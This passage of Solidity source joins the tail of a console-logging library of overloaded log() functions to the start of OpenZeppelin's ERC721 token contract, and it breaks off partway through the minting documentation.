p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a 